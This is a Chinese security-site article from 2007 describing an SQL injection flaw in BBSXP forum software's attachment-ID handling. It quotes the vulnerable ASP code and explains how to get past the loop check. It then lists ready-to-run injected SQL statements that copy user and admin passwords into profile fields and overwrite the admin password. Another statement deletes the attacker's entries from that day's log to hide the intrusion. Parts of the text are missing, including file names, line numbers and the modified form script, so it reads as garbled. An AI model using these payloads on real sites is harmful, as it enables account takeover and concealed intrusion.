栏目导航: 首页 > 漏洞预警 > 程序漏洞 > 内容

bbsxp上传注入漏洞

www.hx99.net    时间: 2007-07-09    阅读: 次     整理: 华西安全网

适用范围:

测试环境:

最近突然有兴趣来看一看的代码,填充一下周末无聊的时间。整体上看来代码的安全性和可读性都非常好,但是程序员总是会有疏忽的时候,毕竟我也是一名程序员嘛。在这种情况下我荣幸的发现了这个漏洞,在测试成功之后再看代码的时候却发现这个漏洞却并不仅仅在一个地方出现,明显是代码复制造成的问题。还是先来说一说原理吧,再说废话可能就会有人扔鸡蛋了@^@

打开源文件找到的第行,的第行,的第行都会发现这样的几行代码:

ifRequest.Form("UpFileID")<>""then

UpFileID=split(Request.form("UpFileID"),",")

fori=0toubound(UpFileID)-1

Conn.execute("update[BBSXP_PostAttachments]setThreadID="&ThreadID&",Description='"&Subject&"'whereid="&UpFileID(i)&"andThreadID=0")

next

在这段代码中明显可以看出没有对数组内的数据作任何过滤就直接用在查询语句中去了,对于这样的漏洞来说利用起来最简单不过了。

就以这个页面为例来说吧。这个页面是用来编辑帖子的,随便找一个版面发表一个帖子之后编辑它,查看源代码能够找到与此类似的一段脚本

<formname="yuziform"method="post"onSubmit="returnCheckForm(this);">

<inputname="content"type="hidden"value='123&lt;imgborder=0src=UpFile/UpAttachment/20062891752.gif&gt;'>

其中是用来记录这个帖子中已经上传的文件路径消息,并且用逗号分隔。你可能已经知道了,这个功能只有管理员打开文件上传得功能之后才会出现。的确如此,但是你也不用担心,前两年的上传漏洞风波现在已经过去了,大部分管理员已经不再为文件上传功能担忧。现在我在网上看到的使用程序的都是打开了这个功能的。

现在再来说一说该怎么利用这个漏洞。在这里还有一个门槛要过去才可以,在代码中有这么一句

fori=0toubound(UpFileID)-1

如果你直接在页面中把的值修改成一个注入查询语句

还不会被执行,因为这样的话的值始终为,而不会被循环。所以要使数组的元素个数大于才可以,因此要将这段脚本修改成类似于如下代码:

了,查看的个人资料之后发现已经变成了位的密文。这样的话我们就可以完成任意语句的执行了——只要有足够的权限。

我利用业余的时间写了一个针对。界面图所示

 

图一

用登录之后的浏览器页面打开并填好相关的参数之后,就可以注入任意的查询语句了,如图所示

 

 

图二

提交之后成功的页面如图所示

图三

 

这里是我测试官方网站时使用几个查询语句,供大家参考使用:

 

备份的密码到电子邮件中

updateBBSXP_UserssetUserMail=UserPasswhereUserName='yuzi'

备份后台管理密码到的个人主页中

updateBBSXP_UserssetUserHome=(selecttop1AdminPasswordfromBBSXP_SiteSettings)whereUserName='yuzi'

修改的密码为xxxxxxxxxxxxxxxxx

updateBBSXP_UserssetUserPass='xxxxxxxxxxxxxxxxx'whereUserName='yuzi'

修改后台管理密码为xxxxxxxxxxxxxxxxx

updateBBSXP_SiteSettingssetAdminPassword='xxxxxxxxxxxxxxxxx'

删除管理员今天登录时所有的操作日志

deletefromBBSXP_LogwhereUserName='yuzi'andcast(DateCreatedasnvarchar(10))=cast(getdate()asnvarchar(10))

恢复后台管理密码

updateBBSXP_SiteSettingssetAdminPassword=(selectUserHomefromBBSXP_UserswhereUserName='yuzi')

恢复的密码

updateBBSXP_UserssetUserPass=UserMailwhereUserName='yuzi'

清除作为密码备份的的电子邮件和个人主页数据

updateBBSXP_UserssetUserMail=''whereUserName='yuzi'

 

在这篇文章中虽然我只是给出了针对数据库的注入方法,如果在中使用针对的注入语句的话也是可以的。由于时间关系我也就没有详细的写相关的注入语句,有兴趣的读者可以试一试自己来完成对数据库的注入。还有针对两个文件注入的我也就不再写了,基本上大同小异。如果你有兴趣的话也可以自己写一下给大家分享。

本文来源:华西安全网[http://www.hx99.net]
发表评论】【告诉QQ好友】【错误报告】【加入收藏】【关闭